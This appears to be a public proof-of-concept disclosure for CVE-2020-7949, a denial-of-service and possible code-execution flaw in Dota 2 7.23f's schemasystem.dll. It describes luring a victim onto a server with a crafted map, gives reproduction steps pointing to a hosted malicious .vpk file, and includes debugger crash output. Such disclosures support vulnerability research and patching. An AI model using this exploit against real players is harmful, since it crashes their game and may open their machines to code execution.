# Exploit Title: Dota 2 7.23f - Denial of Service (PoC)
# Google Dork: N/A
# Date: 2020-02-05
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com) (bi7s)
# Vendor Homepage: https://www.valvesoftware.com/en/
# Software Link: N/A
# Version: 7.23f
# Tested on: Windows 10 (x64)
# CVE : CVE-2020-7949


Valve Dota 2 (schemasystem.dll) before 7.23f allows remote attackers to
achieve code execution or denial of service by creating a gaming server and
inviting a victim to this server, because a crafted map is mishandled
during a GetValue call.

Attacker need invite a victim to play on attacker game server using
specially crafted map or create custom game, then when initialize the game
of the victim, the specially crafted map will be automatically downloaded
and processed by the victim, which will lead to the possibility to exploit
vulnerability. Also attacker can create custom map and upload it to Steam
<https://steamcommunity.com/sharedfiles/filedetails/?id=328258382>.
Steps for reproduce:

   1. Copy attached file zuff.vpk (
   https://github.com/bi7s/CVE/blob/master/CVE-2020-7949/zuff.zip) to map
   directory (C:\Program Files (x86)\Steam\steamapps\common\dota 2
   beta\game\dota\maps)
   2. Launch Dota2
   3. Launch "zuff" map from Dota2 game console. Command for game console =
   map zuff
   4. Dota2 is crash (Access Violation)

Debug information:

(2098.1634): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for C:\Program Files (x86)\Steam\steamapps\common\dota 2
beta\game\bin\win64\schemasystem.dll -
(2098.1634): Access violation - code c0000005 (!!! second chance !!!)
rax=00000000ffffffff rbx=0000027ba23dd9b6 rcx=0000027ba23dd9b6
rdx=0000000042424242 rsi=0000027b5ffb9774 rdi=0000000000000000
rip=00007ffa73af90ce rsp=000000e82bcfe900 rbp=0000000000000000
 r8=00000000412ee51c  r9=000000e82bcfea88 r10=0000027b5ffb9774
r11=00000000412ee51c r12=0000027b5ffbe582 r13=000000e82bcfe9f0
r14=0000027b5ffb5328 r15=0000000000000010
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010200
schemasystem!BinaryProperties_GetValue+0x10ae:
00007ffa`73af90ce 40383b          cmp     byte ptr [rbx],dil
ds:0000027b`a23dd9b6=??